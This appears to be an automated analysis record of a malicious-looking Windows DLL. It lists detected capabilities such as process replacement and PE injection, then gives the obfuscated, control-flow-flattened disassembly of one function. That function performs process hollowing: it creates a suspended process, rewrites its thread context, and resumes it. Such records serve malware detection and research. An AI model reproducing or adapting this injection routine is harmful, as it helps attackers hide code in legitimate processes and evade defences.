Function at 0x10008560
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [0x1006d004]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
sub edx, 0xda345190
sub edx, 1
add edx, 0xda345190
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x16a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x169], al
mov dword [ebp - 0x170], 0x3666f8c6
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x174], eax
sub eax, 0x80215ba4
je 0x1000e7cf
jmp 0x100085db
mov eax, dword [ebp - 0x174]
sub eax, 0x8029a979
je 0x1000e26a
jmp 0x100085f1
mov eax, dword [ebp - 0x174]
sub eax, 0x81e41cfd
je 0x1000ab8b
jmp 0x10008607
mov eax, dword [ebp - 0x174]
sub eax, 0x81fc6ad0
je 0x1000c5da
jmp 0x1000861d
mov eax, dword [ebp - 0x174]
sub eax, 0x842af5f1
je 0x1000f0ef
jmp 0x10008633
mov eax, dword [ebp - 0x174]
sub eax, 0x84c9be17
je 0x1000fa12
jmp 0x10008649
mov eax, dword [ebp - 0x174]
sub eax, 0x84d9886c
je 0x1000cd7e
jmp 0x1000865f
mov eax, dword [ebp - 0x174]
sub eax, 0x85a729bd
je 0x1000c913
jmp 0x10008675
mov eax, dword [ebp - 0x174]
sub eax, 0x8611174a
je 0x1000d0b8
jmp 0x1000868b
mov eax, dword [ebp - 0x174]
sub eax, 0x86f9b95e
je 0x1000ff25
jmp 0x100086a1
mov eax, dword [ebp - 0x174]
sub eax, 0x876fc7a9
je 0x1000bc32
jmp 0x100086b7
mov eax, dword [ebp - 0x174]
sub eax, 0x880c3dc7
je 0x1000b895
jmp 0x100086cd
mov eax, dword [ebp - 0x174]
sub eax, 0x88ecde0d
je 0x1000a8d8
jmp 0x100086e3
mov eax, dword [ebp - 0x174]
sub eax, 0x88f8dd10
je 0x1000e88f
jmp 0x100086f9
mov eax, dword [ebp - 0x174]
sub eax, 0x8920ecaf
je 0x1000acc6
jmp 0x1000870f
mov eax, dword [ebp - 0x174]
sub eax, 0x89531bbc
je 0x1000a9fd
jmp 0x10008725
mov eax, dword [ebp - 0x174]
sub eax, 0x8ba48fb9
je 0x1000b11e
jmp 0x1000873b
mov eax, dword [ebp - 0x174]
sub eax, 0x8cf4462c
je 0x1000f1ef
jmp 0x10008751
mov eax, dword [ebp - 0x174]
sub eax, 0x8d2a3dce
je 0x1000f516
jmp 0x10008767
mov eax, dword [ebp - 0x174]
sub eax, 0x8f7eb8da
je 0x1000b302
jmp 0x1000877d
mov eax, dword [ebp - 0x174]
sub eax, 0x9000db7e
je 0x1000eb68
jmp 0x10008793
mov eax, dword [ebp - 0x174]
sub eax, 0x909fb48e
je 0x1000c2bb
jmp 0x100087a9
mov eax, dword [ebp - 0x174]
sub eax, 0x91c4f8ca
je 0x1000e62e
jmp 0x100087bf
mov eax, dword [ebp - 0x174]
sub eax, 0x9290af24
je 0x1000e09c
jmp 0x100087d5
mov eax, dword [ebp - 0x174]
sub eax, 0x93a362ce
je 0x1000bc83
jmp 0x100087eb
mov eax, dword [ebp - 0x174]
sub eax, 0x93f7330e
je 0x1000f7ce
jmp 0x10008801
mov eax, dword [ebp - 0x174]
sub eax, 0x949e3f6b
je 0x1000c460
jmp 0x10008817
mov eax, dword [ebp - 0x174]
sub eax, 0x95abe209
je 0x1000b0a8
jmp 0x1000882d
mov eax, dword [ebp - 0x174]
sub eax, 0x9643bd4d
je 0x1000cc81
jmp 0x10008843
mov eax, dword [ebp - 0x174]
sub eax, 0x967c968c
je 0x1000fa36
jmp 0x10008859
mov eax, dword [ebp - 0x174]
sub eax, 0x96fe31a7
je 0x1000a5da
jmp 0x1000886f
mov eax, dword [ebp - 0x174]
sub eax, 0x97656314
je 0x1000dd1b
jmp 0x10008885
mov eax, dword [ebp - 0x174]
sub eax, 0x98437a80
je 0x1000bdc1
jmp 0x1000889b
mov eax, dword [ebp - 0x174]
sub eax, 0x9868200b
je 0x1000f9a3
jmp 0x100088b1
mov eax, dword [ebp - 0x174]
sub eax, 0x98c74bb9
je 0x1000e9ed
jmp 0x100088c7
mov eax, dword [ebp - 0x174]
sub eax, 0x9a3e2e7b
je 0x1000b029
jmp 0x100088dd
mov eax, dword [ebp - 0x174]
sub eax, 0x9b25649c
je 0x1000ef09
jmp 0x100088f3
mov eax, dword [ebp - 0x174]
sub eax, 0x9b684ee3
je 0x1000c366
jmp 0x10008909
mov eax, dword [ebp - 0x174]
sub eax, 0x9c7d4a9b
je 0x1000f841
jmp 0x1000891f
mov eax, dword [ebp - 0x174]
sub eax, 0x9e134e50
je 0x1000eeee
jmp 0x10008935
mov eax, dword [ebp - 0x174]
sub eax, 0x9e70275e
je 0x1000f14f
jmp 0x1000894b
mov eax, dword [ebp - 0x174]
sub eax, 0x9f73b790
je 0x1000aa73
jmp 0x10008961
mov eax, dword [ebp - 0x174]
sub eax, 0xa0554020
je 0x1000d8e6
jmp 0x10008977
mov eax, dword [ebp - 0x174]
sub eax, 0xa0cb1fae
je 0x1000f701
jmp 0x1000898d
mov eax, dword [ebp - 0x174]
sub eax, 0xa1bf8153
je 0x1000e6df
jmp 0x100089a3
mov eax, dword [ebp - 0x174]
sub eax, 0xa202697b
je 0x1000bebc
jmp 0x100089b9
mov eax, dword [ebp - 0x174]
sub eax, 0xa42255bb
je 0x1000a69d
jmp 0x100089cf
mov eax, dword [ebp - 0x174]
sub eax, 0xa52429a1
je 0x1000f39b
jmp 0x100089e5
mov eax, dword [ebp - 0x174]
sub eax, 0xa571befa
je 0x1000bef9
jmp 0x100089fb
mov eax, dword [ebp - 0x174]
sub eax, 0xa5c2a646
je 0x1000fbe4
jmp 0x10008a11
mov eax, dword [ebp - 0x174]
sub eax, 0xa7bb6dc2
je 0x1000cb32
jmp 0x10008a27
mov eax, dword [ebp - 0x174]
sub eax, 0xa7ede9ab
je 0x1000b975
jmp 0x10008a3d
mov eax, dword [ebp - 0x174]
sub eax, 0xa9091df9
je 0x1000fd63
jmp 0x10008a53
mov eax, dword [ebp - 0x174]
sub eax, 0xaa459973
je 0x1000e1ab
jmp 0x10008a69
mov eax, dword [ebp - 0x174]
sub eax, 0xaa8b950d
je 0x1000f767
jmp 0x10008a7f
mov eax, dword [ebp - 0x174]
sub eax, 0xac1975a0
je 0x1000f6e3
jmp 0x10008a95
mov eax, dword [ebp - 0x174]
sub eax, 0xacf741d5
je 0x1000cd60
jmp 0x10008aab
mov eax, dword [ebp - 0x174]
sub eax, 0xad208685
je 0x1000e98d
jmp 0x10008ac1
mov eax, dword [ebp - 0x174]
sub eax, 0xade499e6
je 0x1000a33c
jmp 0x10008ad7
mov eax, dword [ebp - 0x174]
sub eax, 0xae68e866
je 0x1000f681
jmp 0x10008aed
mov eax, dword [ebp - 0x174]
sub eax, 0xb01d2b1b
je 0x1000d01d
jmp 0x10008b03
mov eax, dword [ebp - 0x174]
sub eax, 0xb100c228
je 0x1000f8fc
jmp 0x10008b19
mov eax, dword [ebp - 0x174]
sub eax, 0xb143fba4
je 0x1000f994
jmp 0x10008b2f
mov eax, dword [ebp - 0x174]
sub eax, 0xb1dd7a97
je 0x1000ff10
jmp 0x10008b45
mov eax, dword [ebp - 0x174]
sub eax, 0xb1df1be4
je 0x1000cc72
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd525bb1b
mov ecx, 0xcbd9d7ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
add edx, 0xfb1f1fe5
sub edx, 1
sub edx, 0xfb1f1fe5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa0cb1fae
mov ecx, 0xb43379c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x170], 0x38a2fcd6
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0x896184d
sub edx, 1
add edx, 0x896184d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11a82408
mov ecx, 0x3819016f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
sub edx, 0xbd501cb8
sub edx, 1
add edx, 0xbd501cb8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5ba56a1
mov ecx, 0x9f73b790
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov dword [ebp - 0x170], 0x7889764a
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
sub edx, 0x523f2013
sub edx, 1
add edx, 0x523f2013
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x93f7330e
mov ecx, 0x753d4bf6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0xaba77643
sub edx, 1
add edx, 0xaba77643
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e2da714
mov ecx, 0xe77b1ad6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x14c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xcd], al
mov dword [ebp - 0x170], 0x95abe209
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
sub edx, 0x24cdc165
sub edx, 1
add edx, 0x24cdc165
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed0cf0d8
mov ecx, 0x8ba48fb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0x38da6cd0
sub edx, 1
add edx, 0x38da6cd0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xed0cf0d8
mov ecx, 0x6448255d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0xe0ddd08c
sub edx, 1
add edx, 0xe0ddd08c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c7d4a9b
mov ecx, 0xb80b53c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
sub edx, 0x5e43fc8f
sub edx, 1
add edx, 0x5e43fc8f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9e134e50
mov ecx, 0x4c76e395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov dword [ebp - 0x170], 0xe83535b4
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0x4741695b
sub edx, 1
add edx, 0x4741695b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x353fd095
mov ecx, 0x93a362ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
add ecx, 0xd1c3c9c5
add ecx, 1
sub ecx, 0xd1c3c9c5
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x353fd095
mov ecx, 0x15a64582
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
add edx, 0x9d703ffc
sub edx, 1
sub edx, 0x9d703ffc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x545a240e
mov ecx, 0x302d1089
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov dword [eax], 0
mov dword [ebp - 0x170], 0xa571befa
jmp 0x10010019
mov dword [ebp - 0x170], 0xbe59709e
jmp 0x10010019
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
add edx, 0x144b215f
sub edx, 1
sub edx, 0x144b215f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf3013bdd
mov ecx, 0x9b684ee3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov dword [ebp - 0x170], 0x7b5d9bd9
jmp 0x10010019
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
add ecx, 0xc720dcd9
add ecx, eax
sub ecx, 0xc720dcd9
mov eax, dword [ebp - 0x88]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x79], al
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
add edx, 0x78daac0
sub edx, 1
sub edx, 0x78daac0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x842af5f1
mov ecx, 0x210594be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
add eax, 0x3bf57a4c
sub eax, ecx
sub eax, 0x3bf57a4c
mov ecx, dword [ebp - 0x78]
add ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5d0d1b23
mov ecx, 0xf7376a4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x6c]
mov dword [eax], ecx
mov dword [ebp - 0x170], 0xbe59709e
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5106cabd
mov ecx, 0xe2916861
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
sub edx, 0xc2c155c
sub edx, 1
add edx, 0xc2c155c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6d3b1c43
mov ecx, 0x6d0943e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov dl, byte [ebp - 0x5d]
mov eax, 0x97656314
mov ecx, 0x84d9886c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov dword [ebp - 0x170], 0x12b53962
jmp 0x10010019
mov ecx, dword [ebp - 0x58]
sub ecx, 0xfe5acfbe
sub ecx, 8
add ecx, 0xfe5acfbe
shr ecx, 1
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
add edx, 0xda4b4232
sub edx, 1
sub edx, 0xda4b4232
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78662218
mov ecx, 0x8611174a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
sub edx, 0x2c6e4530
sub edx, 1
add edx, 0x2c6e4530
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x84c9be17
mov ecx, 0xdf558671
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
add edx, 0xdda7092d
sub edx, 1
sub edx, 0xdda7092d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13a212f8
mov ecx, 0x6047c481
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
sub eax, 0x44e8a4c7
add eax, 8
add eax, 0x44e8a4c7
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x170], 0x1eb12d65
jmp 0x10010019
mov dword [ebp - 0x170], 0xf7c43a52
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
add edx, 0xbe3f7aec
sub edx, 1
sub edx, 0xbe3f7aec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2eadd453
mov ecx, 0x6533d5ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
add edx, 0x1eaf6e09
sub edx, 1
sub edx, 0x1eaf6e09
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b7e6cef
mov ecx, 0x77edc23f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
add edx, 0x3e5cd597
sub edx, 1
sub edx, 0x3e5cd597
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3bcf4487
mov ecx, 0xf6f72ad0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0x8810e4e2
sub edx, 1
add edx, 0x8810e4e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a59753c
mov ecx, 0xc9080ca8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x18]
add ecx, 0x5fb9c043
add ecx, eax
sub ecx, 0x5fb9c043
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb61e4d3a
mov ecx, 0xba434d52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov dword [ebp - 0x170], 0x62f95aca
jmp 0x10010019
mov dword [ebp - 0x170], 0x3d71cd91
jmp 0x10010019
mov ecx, dword [0x1006e288]
mov eax, dword [0x1006e284]
mov edx, ecx
sub edx, 0xb571620c
sub edx, 1
add edx, 0xb571620c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x485796ae
mov ecx, 0xfe57fe02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov dword [ebp - 0x170], 0xade499e6
jmp 0x10010019
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x170], 0x4c76e395
jmp 0x10010019
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x170], 0x23ec4f8
jmp 0x10010019
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x170], 0x949e3f6b
jmp 0x10010019
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x170], 0xa7bb6dc2
jmp 0x10010019
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
sub ecx, 0x26d2cf9b
sub ecx, 8
add ecx, 0x26d2cf9b
shr ecx, 1
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0x12ac4314
sub edx, 1
add edx, 0x12ac4314
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb396176a
mov ecx, 0x186c50c4
test dl, 1
cmovne eax, ecx
